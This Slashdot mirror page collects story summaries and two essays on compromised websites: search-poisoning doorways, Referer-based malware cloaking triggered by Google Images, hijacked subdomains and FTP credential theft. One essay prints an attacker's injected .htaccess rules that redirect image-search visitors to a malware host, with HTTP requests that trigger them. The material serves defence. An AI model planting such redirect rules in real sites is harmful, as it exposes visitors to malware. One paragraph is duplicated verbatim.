Slashdot Mirror

Orome1 writes "Google Image Search has for some time been littered with images that lure users to compromised sites that serve as doorway pages to other malicious sites. Part of the problem is that these compromised sites often use the WordPress publishing platform, which is infamous for the great number of security bugs that make it such a preferred target. This fact has been proven once again by security researcher Denis Sinegubko, who has pinpointed 4,358 WordPress blogs hijacked by unknown attackers and pumped full of popular search keywords and images, which redirect users to sites that try to scare them into buying a fake AV solution."

UnmaskParasites writes "To drive traffic to their online stores, software pirates hack reputable legitimate websites injecting hidden spammy links and creating doorway pages. Google's search results are seriously poisoned by such doorways. Negligence of webmasters of compromised sites makes this scheme viable — doorways remain unnoticed for years. Not so long ago, hackers began to re-configure Apache on compromised servers to make them serve doorway pages off of non-default ports, still taking advantage of using established domain names."

The Unmask Parasites blog discusses a technique attackers are using more and more often recently: modifying a compromised site's DNS settings to redirect various subdomains to different IPs that serve up malware, often leaving site administrators none the wiser. Quoting: "It is clear that hackers have figured out that subdomains of legitimate websites are an almost infinite source of free domain names for their attack sites. With access to DNS settings, they can create arbitrary subdomains that point to their own servers. Such subdomains can hardly be noticed by domain owners who rarely check their DNS records after the initial domain configuration. And they cost nothing to hackers. I wonder if using hijacked subdomains of legitimate websites is a new trend in malware distribution or just a temporarily solution that won't be widely adopted by cybercriminals in the long run (like dynamic DNS domains last September)."

Slashdot frequent contributor Bennett Haselton writes "Sites that have been hacked by malware writers are now serving infected content only when the visitor views the site through a frame on Google Images. This recent twist on a standard trick used by malware writers, makes it harder for webmasters and hosting companies to discover that their sites have been infected. Automated tools that check websites for infections and training procedures for hosting company abuse-department staffers will have to be updated accordingly." Read on for the rest of Bennett's thoughts.

A friend of mine recently e-mailed a discussion list with an interesting query. Stonewall Ballard had searched on "tradingbloxlogo" on Google Images, which led to the results on this page. Clicking on the first result, an image from the tradingblox.com site, took him to this page, with the Google information header at the top, and loading the http://www.tradingblox.com/tradingblox/courses.htm page in a frame in the bottom half of the browser window. When that page was loaded in that bottom frame, Internet Explorer and Firefox would both flash warnings about the page being infected with malware. But if you loaded the http://www.tradingblox.com/tradingblox/courses.htm page in a normal Web browser window by itself, the browser would not display any warning, and checking the site using Google's malware query form returned a result saying the site was not suspicious. Why the differing results?

It turned out that the tradingblox.com had been hacked, and pages had been installed onto the server that would serve malware in an unusual way: If the page was being viewed in a frame loaded from Google Images, or as as result of a click through from Google Images, then the page would serve content that attempted to infect the user's computer with malware. On the other hand, if the page was viewed normally (as a result of typing the page into your browser), the malware-loading code would not be served. That means if you were to telnet to port 80 on the www.tradingblox.com server, and request a page as follows:

GET /tradingblox/courses.htm HTTP/1.1
Host: www.tradingblox.com

then the normal page would be returned. But if you entered these commands:

GET /tradingblox/courses.htm HTTP/1.1
Host: www.tradingblox.com
Referer: http://images.google.com/

then you would get the malware-infected page. (The webmaster has since fixed the problem, so that the latter request will no longer get the malware code.) The webserver would only serve the infected content if "images.google.com" was sent specifically as the referrer; "www.google.com" by itself would not trigger the result.

(For the uninitiated, when you click a link from one page to another, for example if you were reading an article on CNN.com which had a link to http://www.google.com/support/ and you clicked on that link, then when your browser requested the file "/support/" from the www.google.com server, it would send the request as follows:

GET /support/ HTTP/1.1
Host: www.google.com
Referer: http://www.cnn.com/article.url.goes.here/

So the webmasters of www.google.com can see what links people are clicking from other websites to reach the www.google.com site. Many sites use this to track which links from other pages, including advertisements that they've bought on other sites, are sending them the most traffic.)

Denis Sinegubko, owner of the website malware-infection checking site UnmaskParasites.com, says that he had seen pages before which would serve infected content if www.google.com itself were listed in the Referer: field. However, this was the first instance he'd seen where the content was only served if images.google.com was specifically listed as the Referer. Since no malware distributor would manually break into just one website to compromise it in this exact manner, it's extremely likely that there are many more sites that are infected in the same way. Stonewall Ballard noted that the Google Safe Browsing lookup for the hosting company where tradingblox.com is hosted, showed a high number of other sites on the same network that had been infected recently. (And those are only the infected sites that Google knows about -- recall that Google didn't even know that tradingblox.com was infected.)

Obviously, from the malware author's point of view, the point of serving malware content only some of the time rather than all of the time, is to make it harder for webmasters to pinpoint the problem. Someone gets the malware warning after following a link or loading a page via Google Images, and sends the webmaster an e-mail saying, "I got infected by your webpage, here is the link." The webmaster views the link and says, "I don't know what you're talking about, there's no malware code on that page." It also makes it harder for automated site-checking tools to detect the infection. Google's Safe Browsing lookup tool reported the site as uninfected, and Sinegubko's site-checking tool on UnmaskParasites.com also reported no malware infections on tradingblox.com, even while the site was still infected. (Sinegubko said he would possibly modify his site-checking script so that in addition to the other checks it performs, it will attempt to request a page sending "http://images.google.com/" in the "Referer:" field, to see if that results in different content being served. Google's Safe Browsing spider should do the same.)

Sinegubko said he's also seen instances where hacked sites would cover their tracks even further, by refusing to display infected content if the Referer: link from Google contained "inurl:domainname.com" or "site:domainname.com". This is because webmasters would sometimes check if their site was serving infected content in response to a click from Google, by doing a Google search on their own domainname.com, and following the link back to their site. By not serving the infected content in that case, the malware infection becomes even harder to detect.

This also makes it harder to report the exploits to the hosting companies that host infected websites. In case the webmaster of the infected site doesn't respond to complaints that their site is infected, sometimes you have to contact the hosting company and ask them to forcibly take the website offline until the problem is fixed. And I have been hosted by several companies where the tech support and abuse departments were (just barely) competent enough that if I called them up and said, "Your customer is hosting a malware-infected webpage, go to this page and view the source code, and you can see the malicious code", they would have known what to do. But if I'd had to tell them to follow the steps above -- "telnet to port 80" on the infected website, and type a few lines to mimic the process of a browser sending HTTP request headers to the website -- I probably would have lost them at "telnet". (Recall an experiment wherein I e-mailed some hosting companies from a Hotmail account, asking them to change the nameservers for a domain that I had hosted with them, and about half of the hosting companies agreed to switch the domain nameservers -- essentially, transferring the entire website to an unknown third party -- without ever authenticating that it was really me writing from that Hotmail account. Which means anybody could have taken over those websites simply by sending an e-mail. Front-end tech support at cheap hosting companies is often not very smart.)

Fortunately, Tim Arnold, the webmaster of the tradingblox.com site, did respond to the original report about the malware-infected pages, and found that an intruder had hacked the site on November 30th and inserted these lines into an .htaccess file:

RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*images.google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*images.search.yahoo.*$ [NC]
RewriteRule .* http://search-box.in/in.cgi?4&parameter=u [R,L]
<Files 403.shtml>
order allow,deny
allow from all
</Files>

which resulted in the infected pages being served whenever a user loaded the site via Google Images. (So if you found this article because you think your own site might be infected by malware that serves pages conditionally on the Referer: field, that's the first place to look to fix the problem!)

It's uncertain how Arnold's site got infected in the first place, but Sinegubko had earlier said that almost 90% of breakins in 2009 that occurred on Linux-hosted sites, were caused by malware installed surreptitiously on people's Windows PCs and stealing the passwords that people used to administer their sites. Or the site could have been compromised via a WordPress exploit such as this one. As I always tell anyone who will listen, if you want to keep your Linux-hosted website from being broken into, one of the most frequently overlooked precautions that you need to take is to keep your Windows PC free of spyware.

But the larger point is that as malware becomes more aggressive, it's not just going to become harder to keep your PC and websites uninfected. It's also going to become harder for site owners and for hosting company abuse departments to verify that a site has been hacked, as the hacks use more sophisticated techniques to prevent the infection from being discovered. Abuse report handlers will have to be trained to understand what it means that a website is only showing infected content as a result of a "Referer:" header, and ideally should know enough about networking and command-line tools, to be able to mimic the "telnet" instructions above. (Most expensive dedicated hosting companies like RackSpace, do have technical staff who are at least that knowledgeable. But cheap shared hosting companies -- the kind where you can get your domain transferred to another company by sending an e-mail from an unauthenticated Hotmail account -- will have to train their abuse staff better.) Automated site-checking tools like Google's Safe Browsing spider and UnmaskParasites.com's site checker will have to start taking these attacks into account when checking a site for infection.

And as always, keeping your PC free of spyware, shouldn't be viewed just as a convenience to yourself, but as an obligation to your neighbors as well. (A case of the positive/negative externalities problem in economics.) You wouldn't send your kid to school with the flu, so why did you get your Mom on the Internet without buying her some anti-virus software?

A post by Cyberveillance a couple of weeks back revealed a complex black-hat operation involving Google searches leading to hundreds of thousands of bogus blogs, exploiting the "long tail" of search results and isolated from Google's auto-detection of malware sites by a shifting network of redirectors. The fake blog posts are innocuous when visited directly, but make aggressive attempts to install a fake Windows anti-virus tool (which is actually a Trojan horse) if clicked through from Google. Other search engines do not index the bogus sites. The Unmask Parasites site has a detailed two-part analysis of the badware operation, which puts some numbers on its scope: almost 688,000 bogus scareware blogs can be located in Google; some of them have upwards of 1000 posts. This analysis also reveals that a large majority of the sites hacked to host fake blogs are on the network of Servage.net. From the second Unmask Parasites link: "What we have here is millions of rogue web pages targeting the long tail of web search (millions of keywords) where each page tries to install fake (and malicious) "anti-virus" software on visitors' computers. While this black-hat campaign is active for at least 6 months, webmasters of the compromised sites and their hosting providers don't simply notice this illicit activity. The good news is Google seems to have noticed this problem. Probably thanks to the Cyveillance blog post. During the week after that post I see a steady decrease in search results returned by the queries that you can find in this post."

A post by Cyberveillance a couple of weeks back revealed a complex black-hat operation involving Google searches leading to hundreds of thousands of bogus blogs, exploiting the "long tail" of search results and isolated from Google's auto-detection of malware sites by a shifting network of redirectors. The fake blog posts are innocuous when visited directly, but make aggressive attempts to install a fake Windows anti-virus tool (which is actually a Trojan horse) if clicked through from Google. Other search engines do not index the bogus sites. The Unmask Parasites site has a detailed two-part analysis of the badware operation, which puts some numbers on its scope: almost 688,000 bogus scareware blogs can be located in Google; some of them have upwards of 1000 posts. This analysis also reveals that a large majority of the sites hacked to host fake blogs are on the network of Servage.net. From the second Unmask Parasites link: "What we have here is millions of rogue web pages targeting the long tail of web search (millions of keywords) where each page tries to install fake (and malicious) "anti-virus" software on visitors' computers. While this black-hat campaign is active for at least 6 months, webmasters of the compromised sites and their hosting providers don't simply notice this illicit activity. The good news is Google seems to have noticed this problem. Probably thanks to the Cyveillance blog post. During the week after that post I see a steady decrease in search results returned by the queries that you can find in this post."

The Register writes up a Russian security researcher who has uncovered a Linux webserver botnet that is coordinating with a more conventional home-based botnet of Windows machines to distribute malware. "Each of the infected machines examined so far is a dedicated or virtual dedicated server running a legitimate website, Denis Sinegubko, an independent researcher based in Magnitogorsk, Russia, told The Register. But in addition to running an Apache webserver to dish up benign content, they've also been hacked to run a second webserver known as nginx, which serves malware [on port 8080]. 'What we see here is a long awaited botnet of zombie web servers! A group of interconnected infected web servers with [a] common control center involved in malware distribution,' Sinegubko wrote. 'To make things more complex, this botnet of web servers is connected with the botnet of infected home computer(s).'"

Slashdot contributor Bennett Haselton says "Using FTP to administer a website is insecure -- but not for the reasons that you probably think. You yourself can stop using FTP any time you want, but how do we change the landscape Net-wide, to reduce the number of breakins using stolen FTP credentials?" You know what to click on if you want to read the rest.

On July 1st I found that one of my less important websites, hosted on a low-cost shared Web hosting service, had been broken into. A friend emailed me to say that the site was showing up in Google's search results with the Google "This site may harm your computer" warning listed next to it. I found that on one of the pages, about 1,500 HTML script tags had been inserted, loading JavaScript files from pseudo-random Russian hostnames like "www.chk06.ru" and "www.errghr.ru", none of which are currently resolving. Usually, when such script tags are maliciously inserted into a page on a website, the script tags attempt to install spyware on the machines of people who visit the site.

I immediately replaced the infected file on the website with the backed-up clean copy from my machine, and changed the password on the website in case the attacker had gotten in by using the old one. (The original file with the script tags inserted is here if you want to examine it, but use with caution -- if the .ru hostnames in the script tags start resolving again, then opening the file could cause the JavaScript on the pages to be loaded, which might infect your machine.) Then I started investigating (a) how this probably happened; (b) whether future similar attacks could be prevented, by changing some defaults in the way that hosting accounts are set up; and (c) whether the incentives for hosting providers are such that these changes are likely to happen by themselves, or whether it will require some third-party advocacy to change what we think of as "best practices".

Denis Sinegubko, the webmaster of Unmask Parasites, a free service that scans websites on demand for signs of break-ins, says:

The majority of web site compromises happen because of:

1. Stolen FTP credentials. Spyware on webmasters' computers: key-loggers, traffic sniffers (FTP protocol sends username/password as plain text), trojans that steal credentials from various programs' configuration files (FTP clients, DreamWeaver, etc).
2. Security holes in popular web software: CMS (Joomla, Drupal, etc), Forums (phpBB, vBulletin, Simple Machines, etc), Blogs (WordPress). Once a vulnerability discovered, hackers configure their automated tools to search the web for websites running vulnerable versions of the software and exploit them. This can be done easily and at almost no cost when they have an army of zombie computers.
3. Security hole in "in-house" web software. Many novice (and even many experienced) web developers don't properly sanitize user input making various attacks possible (SQL injections, XSS, etc)
4. Poor security practices (Something that should be manually configured by site/server admins and cannot be fixed with automated security updates): Weak passwords, open ports, insufficiently strict permissions for limited accounts, files and directories with world write permissions, etc.

I didn't have any third-party web software or custom-made software installed on the PublicEditorMyAss.com site, the password was a seven-letter meaningless mix of letters and numbers, and I didn't have permission to change most of the things like open ports and file permissions. That left the possibility of stolen FTP credentials. This is in fact what Sinegubko says is the most common cause of such break-ins:

I guess 90% of attacks use stolen FTP credentials this year. Check this Google's graph that shows the top 10 malware sites as counted by the number of compromised web sites that referenced it:
http://googleonlinesecurity.blogspot.com/2009/06/top-10-malware-sites.html

I reviewed 4 most widespread of them (Gumblar, Martuz, Goooogleadsense, Googleanalytlcs). All four used stolen FTP credential to penetrate web sites and upload malicious content. The chances are the rest used this vector too.

When the PublicEditorMyAss.com site was set up, the default setting was for pages to be edited over FTP. Even though FTP sends and receives passwords without encrypting them (in contrast with alternatives like SFTP or "secure FTP", which encrypts passwords), for a long time I had assumed that this was not a major security problem, because in order for an attacker to intercept the passwords in transit, they would have to control a machine somewhere on the path between my home computer and the PublicEditorMyAss.com server. I figured this wasn't worth worrying about, because it was much more likely that an attacker would attempt to steal the password by installing spyware on my home computer. And if an attacker managed to do that, then I assumed that the risk of passwords being stolen by spyware was about the same whether I used FTP or SFTP -- because either way, the spyware could just steal my password by reading it out of a configuration file where the password was stored. (Even though FTP and SFTP programs both store passwords in an encrypted format, the programs have to be able to decrypt the passwords in order to use them whenever the user wants to open a connection. So the spyware could just mimic whatever steps the client programs use to decrypt the stored passwords, in order to steal one of my passwords stored in a file.) So, I assumed it made no difference whether I used FTP or SFTP.

But according to what Sinegubko told me, this reasoning was probably wrong. The problem is that even though spyware installed on your machine could read passwords that are stored in configuration files, it would be a lot of work to write a spyware program that could do this, because every FTP program and SFTP program stores passwords according to a different algorithm. It's much simpler for spyware to simply watch the traffic sent and received from your machine, so that any unencrypted passwords will be spotted:

[Passwords can be stolen by] sniffers that read all TCP traffic on local computers. Like personal firewalls but malicious. They can easily intercept FTP credentials since they are sent as a plain text.

Sinegubko describes how one of his contacts obtained evidence that a common spyware program was doing exactly this:

One of them even infected a spare WinXP computer (with Gumblar) to test the consequences. On the infected computer he created a new account in a popular FTP client and saved it. The server address was correct (his server) and the username/password pair was not valid. A few hours later in FTP logs, he discovered login attempts that used that invalid username/password pair from a Singapore IP, then from a Florida IP, the some other country's IP. Apparently the FTP credentials were somehow stolen from that infected computer.

I know of only two instances where I've ever definitely been infected with spyware. I don't do stupid things like downloading and running strange programs from third-party sites, so I think both infections were probably caused by a site exploiting a security hole in Internet Explorer, or in a plug-in like Adobe Acrobat or the Flash player. Both times, once I noticed I was infected, I got rid of the infection with Malwarebytes, but I don't know how much damage the spyware did in the meantime.

So this was a case where a little knowledge can be a dangerous thing. If I had known nothing about Internet architecture, and someone told me "FTP is less secure than SFTP," I would have found a way to switch to administering the site via SFTP. But because I knew that the main reason FTP was considered "insecure" was because it transmitted passwords unencrypted, but I also knew that most of of the machines relaying those passwords in transit were secure and trustworthy, I thought it didn't matter. Now it seems that is probably how my password got compromised after all.

In that case, why don't more people switch to administering their sites via SFTP instead of FTP? Here are the steps it took me to enable SFTP on my GoDaddy hosting account. Feel free to use this as a reference, but the obvious point is that as long as this many steps are required, it's safe to say that most users won't be switching:

1. Go to the "Hosting" menu and pick "My Hosting Account."
2. Next to the name of your website, pick "Manage Account." This will open the Hosting Control Center.
3. In Hosting Control Center, click to expand the "Settings" options.
4. In the "Settings" control panel, click the "SSH" icon.
5. You will see a page saying "SSH is not set up", and prompting you to enter a phone number so that their automated service can call you with a PIN number. After you enter your phone number, the phone rings a second later, and you enter the PIN in a form on the GoDaddy website.
6. You will then see a page which says:

   Current Hosting Account Status: Pending Account Change
   Your request to enable SSH is being processed. This upgrade may take up to 24 hours.

In fact, even if only one step were required to switch, most users probably wouldn't change from the default setting to use FTP, due to the eternal, unchangeable fact that most people do not change their default settings, ever. (What percent of users ever change the default set of toolbars that are displayed at the top of their Web browser window?)

If more Web hosting companies made SFTP the default, then the number of websites that were compromised by stolen login credentials, would probably go down. Spyware authors might start to make their programs smarter at that point, enabling them to read the passwords stored by popular FTP and SFTP programs, so that it would make no difference whether the passwords were transmitted in the clear or not. However, this would be harder for spyware authors to do correctly, so it would at least raise the bar for a successful malware attack, and the number of compromised websites would be reduced.

Unfortunately, Web hosting companies don't have much incentive to make users switch to the more secure SFTP protocol. This isn't necessarily true of all security risks; sometimes the hosting company has a strong incentive to pass on the right wisdom (and select the right default settings) for their customers. From the hosting company's point of view, you could divide risks into three categories:

• Risks where the hosting company pays a large part of the price for a customer's machine being compromised. For example, if a cyber-criminal takes over a customer's machine and uses it to launch a denial-of-service attack by sending it a flood of traffic, the hosting company will see that traffic spike on their network. The hosting company has the most incentive to help prevent these types of attacks.

• Risks where the hosting company doesn't directly pay a price for the customer's machine being compromised, but they may have to deal with complaints sent in by third parties. For example, a customer's website could get broken into, and script tags could be inserted into the pages that cause visitors' machines to be infected with spyware. Those visitors might complain to the webmaster of the infected site, or they might complain to the hosting company, which then forwards the complaint to the webmaster. The hosting company may have to provide a few minutes of tech support to the customer, advising them to change their password and scan their own machine for spyware, but they probably won't incur any other material costs.

• Risks where neither the hosting company nor the customer pays a price for the machine being infected, but the price is paid by "Internet users as a whole." The only attack that I can think of in this category, is an attack where a cyber-criminal inserts key words into your web page and links them to his site, in order to increase his Google ranking for searches for those key words. Neither the website owner, nor any visitors to the website, are victimized directly; the harm being done is that the quality of Google search results is reduced for everybody. The only reports of the attack would probably come from "good Samaritan" Web surfers, who tell the hosting company or the webmaster that one of their pages has been vandalized.

When a customer's FTP credentials are stolen, the price paid by the hosting company lies somewhere in the middle. An attacker who stole my current PublicEditorMyAss.com credentials would only be able to deface the content on the site, but they wouldn't be able to launch an attack against a third-party network (my PublicEditorMyAss.com hosting account doesn't have the ability to initiate an outgoing connection to a third-party site).

Weighing in the other direction are the costs of switching to SFTP. If existing customers are forcibly switched over, phone lines will be clogged by customers wanting to know why their old method of logging in to their site has suddenly stopped working. A better choice would be to allow existing customers to stay with FTP while making SFTP the default for new customers. But there is a time and money cost of changing anything, even a default setting.

So GoDaddy doesn't have much incentive to make SFTP their new default. Indeed, I've used many different shared hosting companies before I started running proxies exclusively on dedicated servers, and none of the shared hosting companies ever used anything but FTP as the default method for customers to administer their websites. So who can blame them? They're not making the choice that makes the most sense for their customers or for Internet security as a whole, they're making the choice that makes the most sense in terms of costs and benefits for themselves, and I'm not being judgmental about that. We shouldn't expect most companies to ever behave in any other way.

That's why I think that glib "solutions" to security problems, like "Everybody install anti-virus software", or "Everybody stop using Windows", aren't helpful, because regardless of whether these ideas would work if everybody actually followed them, the fact is that most people won't. The problems have to be addressed in terms of changing incentives for the choices people make.

What's an idea for reducing the risks of FTP credentials stolen by malware, that addresses the incentives problem? Maybe give tax breaks to Web hosting companies that set up customer accounts to use SFTP instead of FTP by default? Or ask more computer vendors to include a desktop link to pre-installed SFTP software, so that when Web hosting companies present options to their customers, it's easier for users to choose the SFTP option since they have a client already installed? (I was tempted to recommend that Microsoft include a universal SFTP client pre-installed in Windows with a prominent desktop link, but the problem with that is that if almost everybody used the same SFTP client, malware authors would have greater incentive to reverse-engineer the algorithm that the client used to store saved passwords -- and then passwords would be just as easily accessible to spyware, as if the user were using FTP all along. So a good mix of SFTP clients is safer for this purpose.)

Since the difference between SFTP and FTP usually only matters in cases where a customer's machine has been infected with malware, obviously the best solution is to avoid malware altogether, but that's much harder problem to solve, as long as malware authors can keep finding security holes in Internet Explorer and other popular programs. Making SFTP the new standard for Web hosting accounts is something that we know how to do, right now. The incentives aren't currently right for Web hosting companies to make it happen. But there may be ways to change that, and I'll bet some people can think of better ideas than the ones I've suggested. I'm just saying that the incentives problem is where attention should be focused.